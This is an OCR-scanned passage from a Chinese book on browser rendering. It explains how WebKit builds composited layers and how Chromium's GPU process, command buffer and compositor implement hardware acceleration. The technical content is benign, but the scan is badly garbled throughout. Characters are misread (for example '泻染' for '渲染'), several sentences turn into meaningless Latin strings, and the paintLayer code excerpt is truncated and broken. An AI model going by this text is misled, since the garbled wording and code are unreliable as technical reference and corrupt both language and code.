个 部 分 ， 都 是 RenderLayerCompositor 类 的 函数 ， 一 是 检查 RenderLayer 对 





象 是 否 为 合成 屋 ， 如 果 是 的 话 ， 为 它们 创建 后 端 存储 对 象 
RenderLayerBacking; 二 是 根据 重新 更 新 的 合成 层 来 更 改 合成 层 树 ， 并 
修改 后 端 存储 对 象 的 一 个 设置 信息 
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2.1: computeCompositing Requirements 


e} dateBacking 


2.3: ensure Backing 


2.3.1: new RenderLayerBacking 





RenderLayerBacking 





2.4: rebuildCompositingLayerTree 
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2.6: updateGra phfesLayerContig uration 
2.7: updateGraphicsLayerGeometry 


a 
> 














图 8-6 WebKit 决 定 合 成 层 并 构建 合成 层 树 


除了 上 图 之 外 ， 当 RenderLayer 对 象 被 创建 时 ， 网 页 还 有 一 些 其 他 
情况 也 可 能 需要 创建 RenderLayerBacking 对 象 。 具 体 的 过 程 是 由 
RenderLayerModelObject::styleDidChanged() eft žit H 
RenderLayer::styleChanged0 函 数 来 触发 ， 然 后 WebKit 调 用 
RenderLayerCompositor::updateLayerCompositingState() 函 数 为 
RenderLayerModelObject 对 象 所 在 的 RenderLayer 层 来 创建 后 端 存 储 对 
象 。 








图 8-7 主 要 摘 述 的 是 WebKit 为 示例 代码 8-1 建 立 的 合成 层 和 合成 层 相 
应 的 RenderLayerBacking 对 象 。 根 据 前 面 的 解释 ，WebKit 为 网 页 中 的 5 
个 DOM 节 点 创建 RenderLayer 对 象 ， 分 别 为 HTMLDocument 对 象 、 
HTMLHtmlElement 对 象 、HTMLDivElement 对 象 、HTMLCanvas 对 象 和 
HTMLVideo 对 象 。 但 是 ， 图 中 只 有 4 个 RenderLayerBacking 对 象 ， 这 是 
为 HTMLHtmlElment 对 象 对 应 的 RenderLayer 没 有 自己 的 
RenderLayerBacking 对 象 ， 原 因 是 该 RenderLayer 对 象 不 满足 之 前 所 摘 述 
的 规则 。 





RenderObject 树 RenderLayer 树 RenderLayerBacking 对 象 
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RenderBlock 


RenderVideo 
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图 8-7 示例 代码 8-1 的 RenderLayer 树 和 RenderLayerBacking 对 象 


SUK, WebKit m Zi AMZ HAE TS SHUR, that ae Bee ie A] 
能 有 一 个 或 者 多 个 RenderLayer 对 象 ， 这 可 能 包含 至 少 四 种 情形 ， 第 一 
种 情形 是 HTMLDocument 节 点 ，WebKit 绘 制 该 节点 所 在 的 合成 层 需 要 裔 
历 两 个 RenderLayer 对 象 所 包含 的 子 树 ， 与 其 他 绘制 的 内 容 的 调用 过 程 
非常 相似 ， 该 合成 层 也 需要 一 个 用 于 2D 图 形 的 图 形 上 下 文 对 象 ， 该 对 
象 的 内 部 实现 由 各 个 移植 来 决定 ， 具 体 的 2D 绘 图 在 后 面 介绍 。 该 层 的 
调用 过 程 如 图 8-8 所 示 ， 该 过 程 同 软件 演 染 非常 类 似 ， 只 是 递归 过 程 稍 
微 不 同 。 


paintLayer() 


paintLayerContentsAndReflection() 


reflectionlayer()->paintLayer() 


paintLayerContents() 


图 8-8 绘制 HTMLDocument 对 应 的 RenderLayer 层 














在 软件 演 染 过 程 中 ，paintLayer 函 数 被 递归 调用 ， 也 就 是 从 
RenderLayer 根 节点 开始 ， 直 到 所 有 的 RenderLayer 对 象 都 被 过 历 为 止 。 
在 硬件 加 速 机 制 中 ， 情 况 有 所 不 同 ， 这 是 因为 引入 了 合成 层 的 概念 ， 
个 RenderLayer 对 象 被 绘制 到 祖先 链 中 最 近 的 合成 屋 。 示 例 代 码 8-2 是 
WebKit 中 RenderLayer::paintLayerO 函 数 的 条 件 判断 部 分 的 代码 ， 用 来 检 
得 是 个 在 父 节 点 所 在 的 后 端 存储 中 绘制 当前 节点 。 如 果 它 不 是 合成 层 ， 
那么 就 继续 绘制 该 层 ， 如 果 它 是 的 话 ， 那 么 就 直接 返回。 在 之 后 的 逻辑 
中 ，WebKit 会 重新 为 每 一 个 合成 层 调 用 绘制 操作 ， 每 个 合成 层 的 图 形 上 
下 文 都 不 一 样 ， 这 点 不 像 软 件 泻 染 过 程 。 














示例 代码 8-2 WebKit) RenderLayer::paintLayer() K 2H) AEFI Wr 


RenderLayer: :paintLayer(){ 
if (isComposited()){ 
if (context->updatingControlTints()||(paintingInfo.pa 
PaintBehaviorFlattenCompositin 
paintFlags |=PaintLayerTemporaryClipRects; 
selse if (!backing()->paintsIntoWindow( ) 
& & !backing()->paintsIntoCompositedAncestor ( ) 
& & !shouldDoSoftwarePaint(this, paintFlags& 
PaintLayerPaintingReflection) ){ 
//If this RenderLayer should paint into its backing 
will be done via RenderLayerBacking: :paintIntoLayer(). 
return; 
} 
}else if (viewportConstrainedNotCompositedReason( )== 
NotCompositedForBoundsOutOfView) { 


return; 





第 二 种 情形 是 使 用 CSS 3D 变 形 的 合成 屋 ， 这 在 本 章 8.3.3 节 中 介 
绍 。 第 三 种 情形 是 使 用 WebGL 技 术 的 Canvas 元 素 所 在 的 合成 导 ， 它 的 给 
制 是 由 JavaScript 操 作 来 完成 的 ， 并 且 使 用 了 3D 的 图 形 上 下 文 ， 后 面 会 
在 8.3.1 节 中 介绍 。 第 四 种 情形 是 类 似 使 用 了 硬件 加 速 的 视频 元 素 所 在 的 
合成 层 ， 该 层 的 内 容 其 实 是 由 视频 解码 器 来 绘制 ， 而 后 通过 定时 器 或 者 
其 他 通知 机 制 来 告诉 WebKit 该 层 内 容 已 经 发 生变 化 ， 需 要 重新 合成 ， 这 








在 第 11 章 中 介绍 。 





最 后 一 个 步骤 是 泻 染 引擎 将 所 有 绘制 完 的 合成 层 合 成 起 来 ， 这 个 是 
由 WebKit 的 移植 来 完成 的 ， 在 本 章 的 8.2.3 小 节 中 将 做 详细 的 介绍 。 


8.1.4 ”3D 图 形 上 下 文 


WebKit 中 的 3D 图 形 上 下 文 主要 是 提供 一 组 抽象 接口 ， 这 组 接口 能 
够 提供 类 似 OpenGLES〔 使 用 GPU 硬 件 能 力 的 3D 图 形 应 用 编程 接口 ) 的 
功能 ， 其 主要 目的 当然 也 是 使 用 OpenGL 绘 制 3D 图 形 的 能 力 。 这 一 层 抽 
象 能 够 将 WebKit 各 个 移植 的 不 同 部 分 隐藏 起 来 ，WwebCore 只 是 使 用 统一 
的 抽象 接口 。 在 WebKit 中 ，3D 网 形 上 下 文 的 主要 用 途 是 webGL， 当 然 
启用 硬件 加 速 的 Canvas2D 等 HTML5 技 术 也 会 使 用 3D 图 形 技 术 ， 不 过 情 
况 有 些 不 同 。 








图 8-9 给 出 了 WebKit 的 GraphicsContext3D 类 ， 该 类 是 一 个 抽象 类 ， 
其 包含 的 接口 所 处 理 的 对 象 融 是 OpenGL 中 所 提供 的 能 力 ， 例 如 针对 纹 
理 、 着 色 器 、 纹 理 贴图 、 顶 点 等 GL 操作 ， 不 过 这 里 是 一 个 C++ 类 的 封装 
mer 


Graphics Context3D 
一 
+platformGraphicsContext3D() 
+activeTexture() I 
+teximage2DResourceSafe() \ 


+attachShader() PlatformGraphicsContext3D 


+bindBuffer() a es 
+teximage2D() 
+uniform1f() 


Graphics Context3DPrivate 


+platformGraphicsContext3D() 
I 





图 8-9 ”WebKkit 的 3D 图 形 上 下 文 相 关 类 


图 8-9 中 的 GraphicsContext3DPrivate 就 是 一 个 跟 WebKit 的 各 个 移植 
相关 的 类 ， 虽 然 在 各 个 移植 中 都 是 使 用 该 名 称 ， 但 是 每 个 移植 的 定义 非 
常 不 同 ， 它 主要 是 针对 移植 的 不 同 来 实现 的 。 
PlatformGraphicsContext3D 类 是 WebCore 用 于 创建 Surface 等 对 象 的 参 
数 ， 所 以 其 名 字 是 一 致 的 ， 但 是 每 个 移植 的 定义 实际 上 不 一 样 。 





GraphicsContext3D 中 的 接口 有 三 种 类 型 ， 第 一 类 是 所 有 移植 共享 实 
现 的 接口 ， 例 如 texImage2DResourceSafe; 第 二 类 是 一 些 移植 能 够 共享 
实现 的 接口 ， 例 如 texImage2D， 它 们 可 以 直接 调用 OpenGL 或 者 OpenGL 
ES 的 应 用 编程 接口 ， 第 三 类 则 是 跟 每 个 移植 具体 相关 ， 例 如 
platformGraphicsContext3D 。 











这 些 跟 移 植 相 关 的 类 都 是 需要 每 个 移植 去 实现 的 ， 人 否则 这 一 机 制 不 
能 工作 ， 下 面 的 部 分 就 是 Chromium 移 植 如 何 实现 这 些 部 分 并 包含 哪些 
不 同 之 处 。 


8.2 Chromium 的 人 硬件 加 速 机 制 


8.2.1 GraphicsLayer 的 文 持 





GraphicsLayer 对 象 是 对 一 个 泻 染 后 端 存 储 中 某 一 层 的 抽象 ， 同 众多 
其 他 WebKit 所 定义 的 抽象 类 一 样 ， 在 WebKit 移 植 中 ， 它 还 需要 具体 的 
实现 类 来 文 持 该 类 所 要 提供 的 功能 。 为 了 完成 这 一 功能 ，Chromium 提 
供 了 更 为 复杂 的 设施 类 ， 这 一 节 主 要 介绍 从 GraphicsLayer 类 到 合成 器 这 
一 过 程 中 所 涉及 的 众多 内 部 结构 。 








图 8-10 摘 述 了 从 WebCore 的 同 移植 无 天 的 GraphicsLayer， 到 WebKit 
的 Chromium 移 植 ， 再 训 Chromium 浏 览 器 所 设计 的 Chromium 合 成 器 的 
LayerImpl 类 这 一 过 程 。 读 者 可 以 看 到 ， 中 则 有 好 几 层 ， 原 因 在 于 抽象 
和 合成 机 制 的 复杂 性 ， 以 及 性 能 等 众多 方面 的 考虑 ， 下 面 从 上 到 下 介绍 














WebCore— GraphicsLayer 
GraphicsLayerChromium L GraphicsLayer 实现 类 
WebKit 的 _J = 
Chromium 移植 = 
WebLayer 一 抽象 接口 类 
三 WebLayerImpl 
Chromium 合成 器 
= LayerImpl 
图 8-10 Chromium 对 GraphicsLayer 的 支持 
GraphicsLayerChromium: GraphicsLayer 的 子 类 ， 实 现 了 


GraphicsLayer 需 要 的 一 个 功能 ， 并 且 加 入 了 Chromium 的 所 需 信 
WebLayer: WebKit 的 Chromium 移 植 的 抽象 接口 类 ， 它 被 
GraphicsLayerChromium 等 调用 ， 主 要 目的 是 将 Chromium 的 实际 后 
问 存 储 类 抽象 出 来 ， 以 便 WebCore 使 用 它们 。 

WebLayerlmpl: ”WebLayer 类 的 实现 类 ， 具 体 作用 是 将 合成 器 的 层 
能 力 暴 露出 来 ， 跟 Layer 类 一 一 对 应 。 

Layer: 合成 器 的 层 表示 类 ， 是 Chromium 合 成 器 的 接口 类 ， 用 于 表 
示 合 成 器 的 合成 屋 ， 它 会 形成 一 柠 合 成 树 。 

Layerlmpl: 同 Layer 对 象 一 一 对 应 ， 是 实际 的 实现 类 ， 包 含 后 端 存 
储 ， 可 能 跟 Layer 树 在 不 同 的 线程 ， 有 基体 在 后 面 介 绍 。 























由 上 面 的 介绍 可 以 看 出 ， 这 个 过 程 基本 上 融 是 各 种 类 的 映射 ， 从 


GraphicsLayer 类 到 LayerImpl 类 ， 目 的 是 将 WebKit 的 合成 层 映 射 到 合成 
器 中 的 合成 屋 ， 合 成 器 最 终 合成 这 些 层 。 不 过 在 新 的 Blink 中 ， 图 中 
WebKit 的 Chromium 移 植 部 分 的 类 被 移 除 掉 了 ， 原 因 是 Blink 不 需要 多 层 
次 的 接口 ， 因 为 Blink 仅 被 Chromium 上 所用。 合成 过 程 在 合成 器 小 节 中 介 


2 








8.2.2 框架 


在 Chromium 中 ， 有 个 比较 特别 的 设计 ， 就 是 所 有 使 用 GPU 硬件 加 
速 〈 也 就 是 调用 OpenGL 编 程 接口 ) 的 操作 都 是 由 一 个 进程 〈 称 为 GPU 
进程 ) 负责 来 完成 的 ， 这 其 中 包括 使 用 GPU 硬件 来 进行 绘 独 和 合成 。 
Chromium 是 多 进程 架构 ， 每 个 网 页 的 Renderer 进 程 都 是 将 之 前 介绍 的 
3D 绘 图 和 合成 操作 通过 IPC 传 递 给 GPU 进程 ， 由 它 来 统一 调度 并 执行 。 
在 Chrome 的 Android 版 本 中 ，GPU 进 程 并 不 存在 ，Chrome 是 将 GPU 的 所 
有 工作 放 在 Browser 进 程 中 的 一 个 线程 来 完成 ， 这 得 益 于 结构 设计 的 灵 
活性 。 但 是 本 质 上 ，GPU 进 程 和 GPU 线程 并 无 太 大 区 别 。 








图 8-11 描 述 了 Chromium 的 多 进程 架构 中 GPU 进程 同 其 他 进程 之 间 的 
联系 ， 事 实 上 每 个 Renderer 进 程 都 依赖 GPU 进程 来 泻 染 网 页 ， 当 然 
Browser 进 程 也 会 同 GPU 进 程 进行 通信 ， 其 作用 是 创建 该 进程 并 提供 网 
页 演 染 过 程 最 后 绘制 的 目标 存储 。 例 如 ， 在 Windows 和 Linux 上 它 是 一 
个 窗口 对 应 的 “Surface”， 在 Android 系 统 中 则 是 SurfaceView 对 应 的 后 端 

《实际 上 也 是 一 个 GPU 的 缓冲 区 ) 。 





图 8-11 Chromium 的 GPU 进 程 


GPU 进程 也 被 使 用 在 其 他 用 途中 ， 例 如 后 面 介 绍 到 的 Pepper 插件 ， 
该 机 制 由 Chromium 提 供 ， 并 且 提 供 了 绘制 3D 图 形 能 力 的 接口 给 Pepper 
插件 使 用 ， 这 里 同样 也 需要 GPU 进 程 的 统一 管理 。 


在 介绍 完 GPU 进 程 之 后 ， 下 面 主要 描述 WebKit 演 染 引 擎 是 如 何 使 用 
GPU 来 泻 染 网 页 的 。 图 8-11 描 述 了 具体 的 调用 栈 。 根 据 前 面 的 介绍 可 以 
知道 ，WebKit 定 义 了 两 种 类 型 的 图 形 上 下 文 ， 它 们 都 可 以 使 用 GPU 来 加 
速 ， 加 速 机 制 最 后 都 是 调用 OpenGL/OpenGLES 库 。 不 过 ， 在 Chromium 
中 ， 这 一 过 程 比 较 复杂 。 


3D 和 2D 图 形 上 下 文 在 Chromium 中 分 别 对 应 Chromium 的 3D 图 形 上 
下 文 实现 和 Skia 男 布 (canvas)， 它 们 在 调用 〈GL 操 作 ) 之 后 会 被 转换 成 
IPC 消 息 传 给 GPU 进程 ， 该 进程 中 的 解释 器 对 这 些 消息 进行 解释 后 ， 调 
用 GL 函 数 指针 表 中 的 函数 ， 这 些 函 数 指 针 是 从 GL 库 中 获取 的 ， 至 于 为 
什么 是 这 样 ， 原 因 是 这 样 更 灵活 。 对 于 Windows 来 说 ，3D 图 形 库 是 D3D 
而 不 是 OpenGL 接 口 ，Chromium 的 做 法 是 通过 开源 项 目 ANGLE， 使 用 
D3D 来 封装 成 OpenGL 方 式 的 接口 ， 这 样 ，Chromium 就 可 以 从 ANGLE 提 


供 的 接口 读 入 函数 地 址 ， 如 图 8-12 所 示 。 








3D 图 形 上 下 文 


Skia 画布 
Chromium 移植 的 3D 图 形 
区 


下文 实现 
Skia 的 GPU 后 端 


Renderer 进程 


= 
| 
好 


GPU 进程 


GL 解释 器 





GL 函数 指针 表 


ANGLE 
OpenGL/OpenGL ES 


图 8-12 Chromium 的 3D 图 形 上 下 文 和 2D 图 形 上 下 文 的 硬件 加 速 调用 栈 














下 面 以 Chromium 的 3D 图 形 上 下 文 为 例 ， 详 细 说 明 它 的 调用 经 过 哪 
些 Chromium 上 有 具体 类 最 后 调用 操作 系统 的 3D 图 形 库 ， 几 8-13 描 述 了 中 间 
使 用 到 的 各 种 主要 类 。 


<<component>> 
WebGraphicsContext3DCommandBufferlmp! 
Function call 
Sia Mae al return 


Reference 


Renderer Process 


Shared Memory 





<<component>> r 


GPUCommandBufferStub è GPU Process 


<<component>> 
CommandBufferService 





图 8-13 Chromium 的 GPU 加 速 设施 类 


同 前 面 的 调用 栈 一 样 ， 图 中 也 是 分 成 Renderer 进 程 和 GPU 进程 ， 首 
先 来 了 解 Renderer 进 程 的 主要 类 。 


e WebGraphicsContext3DCommandBufferlmpl: AK TK Á 
WebKit::WebGraphics-Context3D 类 ， 它 实际 上 是 WebKit 的 
Chromium 移 植 中 的 PlatformGraphics-Context3D 类 。 这 个 类 主要 转 接 
自 WebKit 的 调用 到 Chromium 的 具体 实现 ， 同 时 将 这 些 3D 图 形 操作 
调用 转换 成 GL 命令 (Command， 后 面 介绍 ) ， 主 要 包括 一 个 
RenderGLContext 对 象 。 

e RendererGLContext: Renderer 进 程 对 GLContext 的 一 个 封装 ， 包 
括 所 有 用 于 跟 GPU 进 程 交 互 的 类 ， 有 一 个 GLES2Implementation 对 
象 、 一 个 CommandBufferProxy 对 象 和 一 个 GPUChannelHost 对 象 。 

e GLES2Implementation: ”该 类 模拟 OpenGL ES2 的 编程 接口 ， 但 是 








不 直接 调用 GLES2 的 实现 ， 而 是 将 这 些 调用 转换 成 特定 格式 的 命 

存 入 CommandBuffer 中 。 

CommandBufferHelper: 该 类 是 一 个 辅助 类 ， 包 括 一 个 
CommandBuffer 代 理 类 和 一 个 共享 内 存 。 

CommandBufferProxy: CommandBuffer 的 一 个 代理 类 ， 实 现 
CommandBuffer 的 接口 ， 用 于 和 CommandBufferStub 之 间 的 通信 。 
GPUChannelHost: 用 于 传递 GL 命 令 的 IPC 消 息 辅 助 类 。 





接 下 来 自然 是 GPU 进程 中 各 个 主要 类 的 依次 介绍 。 





GPUChannel: 用 于 接收 GL 命令 并 发 送 回 复 的 辅助 类 。 

GPUCommandBufferStub: CommandBuffer 的 桩 ， 接 收 来 自 于 

CommandBufferProxy 的 消息 ， 将 请 求 交 给 CommandBufferService 处 

理 。 

CommandBufferService: ”CommandBuffer 的 具体 实现 类 ， 但 其 实 

它 并 不 具体 解析 和 执行 这 些 命令 ， 而 是 当 有 新 的 命令 到 达 时 ， 调 用 

注册 的 回调 函 ， 

GPUScheduler: ”负责 调度 执行 Commandbuffer 的 命令 ， 它 会 检查 

该 Commandbuffer 是 否 应 该 被 执行 ， 并 适时 将 命令 交 给 

CommandParser 来 处 理 。 

CommandParser: ” 仪 检 查 CommandBuffer 中 的 命令 头 部 ， 其 余部 
分 则 交 给 具体 的 命令 解码 器 来 解释 ， 所 以 它 同 GL 命令 的 理解 是 独 

ahe 

GLES2Decoderlmpl: 针对 GLES 命 令 的 命令 解释 器 ， 它 解析 每 条 

有 具体 的 命令 并 执行 调用 GL 相 应 的 函数 。 

GL Implementation Wrapper: 一 组 GL 相 关 的 函数 指针 ， 通 过 设 

定 的 3D 图 形 库 来 读 取 库 中 相应 函数 的 地 址 。 








e GL Libraries: 具体 的 函数 库 ， 在 Chromium 中 ， 它 可 以 设置 为 
OpenGL. OpenGL ES, Mesa GL、Mock、ANGLE 等 ， 得 益 于 设计 
上 的 灵活 性 ， 不 同 的 3D 图 形 库 都 可 以 被 Chromium 所 使 用 而 不 需要 
修改 任何 代码 。 








通过 上 面 每 个 模块 类 的 具体 介绍 ， 相 信 读 者 大 概 已 经 知道 
Chromium 跨 进程 的 便 件 加 速 机 制 的 工作 过 程 了 。 那 么 ，GPU 进 程 和 
Renderer 进 程 是 如 何 同步 这 些 命 令 的 呢 ? A 答案 是 ，GPU 进 程 处 理 一 些 
命令 后 ， 会 同 Renderer 进 程 报 告 自己 当前 的 状态 ，Renderer 进 程 通 过 检 
但 状 态 信 息 和 自己 的 期 望 结果 来 确定 是 否 满 足 自己 的 条 件 。GPU 进 程 最 
终 绘 制 的 结果 不 再 像 软件 泻 染 那 样 通 过 共享 内 存 传递 给 Browser 进 程 ， 
而 是 直接 将 页 面 的 内 容 绘制 在 浏览 器 的 标签 窗口 内 。 








8.2.3 ”命令 缓冲 区 


MERX (Command Buffer) 主要 用 于 GPU 进程 〈 以 后 称 为 GPU 
服务 端 ) 和 GPU 的 调用 者 进程 〈 且 称 GPU 客 户 端 进程 ， 如 Renderer 进 
程 、Pepper 插 件 进程 ) 传递 GL 操 作 命 令 。 从 接口 上 来 讲 ， 这 一 设计 只 提 
供 一 些 基 本 的 接口 来 管理 绥 冲 区 ， 它 并 没有 对 绥 冲 区 的 具体 方式 和 命令 
的 类 型 进行 任何 限制 ， 不 过 目前 Chromium 只 有 GLES 一 种 实现 方式 。 








现 有 的 实现 是 基于 共享 内 存 的 方式 来 完成 的 ， 因 而 命令 是 基于 
GLES 编 码 成 特 





定 的 格式 存储 在 共享 内 存 中 _ 史 ”。 共 享 内 存 方式 采用 了 环形 缓冲 区 
CRingBuffer) 的 方式 来 管理 ， 这 表示 内 存 可 以 循环 使 用 ， 旧 的 命令 会 
被 新 的 命令 所 覆盖 。 


一 条 命令 可 以 被 分 成 两 个 部 分 : 命令 头 和 命令 体 。 命 令 头 是 命令 的 
原 数 据 信息 ， 包 含 两 个 部 分 : 一 个 是 命令 的 长 度 ， 一 个 是 命令 的 标识 。 
命令 体 包含 该 命令 所 需要 的 其 他 信息 ， 例 如 命令 的 立即 操作 数 。 命 令 是 
可 以 固定 长 度 的 ， 也 可 以 是 变化 的 ， 一 切取 决 于 该 命令 。 有 具体 的 结构 如 
图 8-14 所 示 。 


命令 头 命令 体 





图 8-14 命令 结构 








上 面 说 到 ， 命 令 缓冲 区 本 身 没有 定义 具体 的 命令 格式 ， 所 以 GLES 
ee 
分 成 两 类 : 第 一 类 是 基本 命令 ， 主 要 用 来 操作 桶 (Bucket) 、 跳 转 、 

用 和 返回 等 指令 ;第 二 类 是 跟 GLES2 的 函数 相关 的 命令 ， ee: 
GLES2 的 函数 。 











命令 本 身 是 保存 在 共享 内 存 中 的 ， 而 且 每 条 命令 的 长 度 不 能 超过 
(1<<21-1) 。 另 外 共享 内 存 的 大 小 也 是 固定 的 ， 如 果 命 令 太 长 ， 可 存 
储 的 命令 就 很 少 。 那 么 问题 惑 出 来 了 了， 如何 解决 需要 传输 较 大 数据 的 命 
令 呢 ? 对 于 这 样 类 型 的 数据 ，Chromium 可 以 对 它们 使 用 独立 的 共享 内 
存 来 实现 ， 典 型 的 命令 例如 TexImage2D (传输 大 量 数据 到 GPU 内 
F) 。 但 是 ， 当 共享 内 存 大 小 超过 系统 的 限制 时 ， 这 种 方式 就 行 不 通 
了 。Chromium 提 供 了 一 种 新 的 机 制 来 解决 这 个 问题 。 














这 个 机 制 就 是 桶 (Bucket〉 机制 。 解 决 问题 的 原理 是 ， 通过 共享 内 
存 机 制 来 分 块 传输 ， 而 后 把 分 块 的 数据 保存 在 本 地 的 桶 内 ， 从 而 避免 了 








FTE ARISE EA FE HITED DE BUNNY 2 Hk tat Sait xe FOR A EA SR BC 
Hio SRE TEM IA, MABE TT BRE A ar St AT AGT T o A 
机 制 也 可 用 来 传输 字符 串 类 型 的 变 长 数据 : 接收 端 首 先 获 取 桶 内 字符 串 
的 长 度 ， 然 后 通过 共有 至 内 存 的 方式 来 分 块 传输 ， 最 后 合并 在 接收 并 的 桶 
内 。 








8.2.4 ”Chromium 合成 颖 (Chromium 
Compositor ) 


8.2.4.1 ”架构 





a Bar HIF A MEKE a WUE BS BOT Se AN AR AT 
CNH ce Mea kiha wun, FARA ESR PE 3DE 
等 ) 。 它 的 输出 就 是 一 个 后 端 存 储 ， 例 如 一 个 GPU 的 纹理 缓冲 区 。 





Chromium 合 成 器 是 一 个 独立 并 且 复 杂 的 模块 ， 顾名思义 ， 它 的 作 
用 是 合成 网 页 划分 后 的 合成 层 ， 但 是 ， 这 里 的 合成 咒 同 网 页 没有 必然 的 
绑 定 关系 ， 它 既 可 以 合成 网 页 ， 也 可 合成 用 户 界 面 ， 或 者 多 个 标签 页 。 
其 实 ， 按 照 笔者 的 理解 ， 如 果 你 的 项 目 中 需要 合成 器 ， 可 以 尝试 移植 该 
合成 器 为 目 己 所 有用， 当然， 该 合成 豆 有 一 些 依赖 关系 需要 解除 ， 难 度 也 
很 大 ， 这 些 都 是 题 外 话 。 














在 架构 设计 上 ， 合 成 器 采用 的 是 表示 和 实现 分 离 的 原则 ， 也 就 是 前 
面 介 绍 合 成 器 Layer 层 〈 同 GraphicsLayer 类 一 一 对 应 ) 同 具体 合成 器 所 
要 合成 的 操作 分 离 的 原则 ， 图 8-15 描 述 了 这 一 思想 。WebKit 对 合成 层 的 
各 种 设置 ， 最 后 都 使 用 Layer 树 来 表示 ， 每 个 Layer 节 点 包 仿 3D 变形、 可 





裁 等 属性 ， 但 是 Chromium 将 这 些 属 性 应 用 到 后 端 存储 并 合成 这 一 过 程 
并 不 是 在 Layer 树 中 进行 ， 而 是 将 这 些 功能 委托 LayerImpl 树 来 完成 ， 两 
者 之 间 通 过 代理 来 同步 ， 代 理 的 作用 是 协调 和 同步 两 者 之 间 的 这 些 操 





作 。Layer 树 所 有 的 信息 都 会 拷贝 到 LayerImpl 树 中 。 


LayerImpl 树 


实现 部 分 的 线程 





图 8-15 合成 器 表示 和 实现 分 离 架 构 


图 8-15 中 摘 述 的 Layer 树 工作 在 主线 程 ， 实 际 指 的 是 泻 染 引 苟 工作 的 
线程 ， 不 一 定 是 Renderer 进 程 的 主线 程 。 但 是 LayerImpl 树 都 是 工作 
在 “实现 部 分 ”的 线程 ， 实 现 部 分 的 线程 可 以 是 主线 程 也 可 以 是 单独 的 一 
个 线程 (Chromium Thread) ， 两 者 在 Chromium 中 目前 都 被 使 用 。 实 现 
部 分 作为 单独 一 个 线程 是 在 Renderer 进 程 中 用 来 合成 网 页 的 ， 通 常 也 称 
AG Mas (Compositor) 线程 ， 后 者 也 称 为 线程 化 合成 〈Threaded 
Compositing) 。 在 Chrome 的 Android 版 本 ， 合 成 还 有 些 复杂 ， 网 页 的 合 
成 器 工作 在 Renderer 进 程 ， 同 时 还 有 男 外 的 合成 占 工 作 在 Browser 进 程 ， 
用 于 将 网 页 结果 和 浏览 器 用 户 界 面 合成 起 来 。 








8.2.4.2 ”基础 设施 


为 了 支持 Chromium 舍 成 费 的 线程 化 合成 和 线程 内 合成 等 众多 机 
制 ，Chromium 引 入 了 一 些 类 来 支持 它们 ， 下 面 结合 合成 器 的 架构 来 逐 
分 析 它 们 。 首 先 来 看 合成 器 的 主要 组 成 ， 大 致 可 以 分 成 以 下 几 个 部 





> & 


。 事件 处 理 部 分 。 主 要 是 接收 WebKit 或 者 其 他 的 用 户 事 件 ， 例 如 网 页 
滚动 、 放 大 缩小 等 事件 ， 这 些 事件 会 请 求 合 成 器 重新 绘制 每 一 个 合 
成 屋 ， 然 后 合成 器 再 合成 这 些 层 的 绘制 结果 。 
合成 层 的 表示 和 实现 。 主 要 定义 各 种 类 型 的 合成 屋 ， 包 括 它们 的 位 
A RAMS, MES Bre. 

合成 层 组 成 两 种 类 型 的 树 ， 以 及 它们 之 间 的 同步 等 机 制 。 

合成 调度 器 (Scheduler) 主要 调度 来 自用 户 的 请 求 ， 它 包括 一 个 状 
态 用 于 调度 当前 队列 中 需要 执行 的 请 求 ， 目 的 当然 是 协调 合成 层 的 
绘制 和 合成 、 树 的 同步 等 操作 。 

合成 器 的 输出 结果 。 在 Chromium 合 成 器 中 ， 结 果 可 以 是 一 个 GPU 
Surface 或 者 是 一 个 CPU 的 存储 空间 〈( 昕 起 来 很 吃惊 ， 对 吧 〉 。 同 
时 ， 当 然 也 包括 GL 操作 类 可 以 让 合成 器 使 用 GL 来 合成 这 些 合成 
层 。 

各 种 后 端 存储 等 资源 。 合 成 器 需要 能 够 创建 各 种 类 型 的 GL 绥 冲 
区 、 纹 理 每 ， 因 为 每 个 合成 层 都 需要 这 些 资 源 。 

文 持 动画 和 3D 变 形 这 些 功能 所 需要 的 基础 设施 。 


























这 些 主要 部 分 构成 了 Chromium 合 成 器 ， 后 面 逐 一 介绍 它们 。 首 先 
看 两 种 树 ， 以 及 它们 之 则 是 如 何 同 步 的 。 图 8-16 揪 述 了 它们 使 用 到 的 主 


要 类 。 


LayerTreeHost SingleThreadProxy 
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图 8-16 合成 器 的 线程 内 和 线程 化 合成 使 用 到 的 主要 设施 





先 看 Layer 树 所 在 的 线程 。 每 一 层 都 是 一 个 Layer 对 象 ， 而 Layer 树 则 
由 LayerTreeHost 类 来 维护 。LayerTreeHost 类 的 作用 一 是 根据 调用 者 的 需 
求 创建 和 更 新 Layer 树 ， 男 外 就 是 将 这 些 变 动 通 过 代理 拷贝 给 实际 的 实 
现 者 ， 也 就 是 LayerTreeImpl， 这 可 能 需要 跨 线 程 ， 找 贝 的 作用 就 是 使 得 
合成 器 能 够 不 依赖 于 WebKit 演 染 所 在 的 线程 而 独立 工作 。 


代理 起 的 作用 很 重要 。 在 合成 器 中 ， 代 理 是 一 个 抽象 类 ， 定 义 了 
Layer 树 和 LayerImpl 树 之 间 完 成 合成 所 需要 的 转 接 工 作 。 它 有 两 个 子 
类 ， 分 别 是 SingleThreadProxy 类 和 ThreadProxy 类 ， 它 们 分 别 用 于 线程 内 
合成 和 线程 化 合成 两 种 情况 。 以 ThreadProxy 为 例 〈 因 为 它 更 复杂 ) ， 
代理 的 一 些 接口 由 主线 程 调用 ， 也 就 是 由 LayerTreeHost 调 用 ， 用 来 复制 
言 息 到 实现 类 LayerImpl。 男 外 的 就 是 使 用 调度 器 来 调度 合成 的 过 程 。 








再 看 实现 部 分 。 实 现 的 主要 逻辑 由 LayerTreeHostImpl 来 负 贡 ， 如 调 
度 、 复 制 信息 到 LayerImpl 树 等 ， 它 包含 至 少 一 个 LayerImpl 树 对 象 。 在 
线程 化 的 绘图 模式 中 ， 它 可 能 至 少 包 含有 三 个 树 。 而 LayerTreeImpl 束 维 
护 一 个 LayerImpl 树 ， 包 括 为 树 中 的 层 创建 后 端 存 储 、 为 整个 树 创建 输 
出 结果 、 合 成 该 树 各 个 节点 的 实际 过 程 等 。 


类 Layer 和 LayerImpl 是 两 种 基 类 ， 它 们 各 目 都 有 多 个 子 类 ， 它 们 和 
它们 的 子 类 基本 上 是 一 一 对 应 的 ， 这 里 以 Layer 类 和 它 的 子 类 为 例 说 明 
合成 器 中 的 合成 屋 。 图 8-17 描 述 了 Layer 类 和 它 的 子 类 们 。 
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图 8-17 会 成 器 中 的 Layer 类 和 它 的 子 类 们 


每 个 类 都 有 各 自 的 应 用 场景 ， 例 如 VideoLayer 类 是 表示 视频 播放 
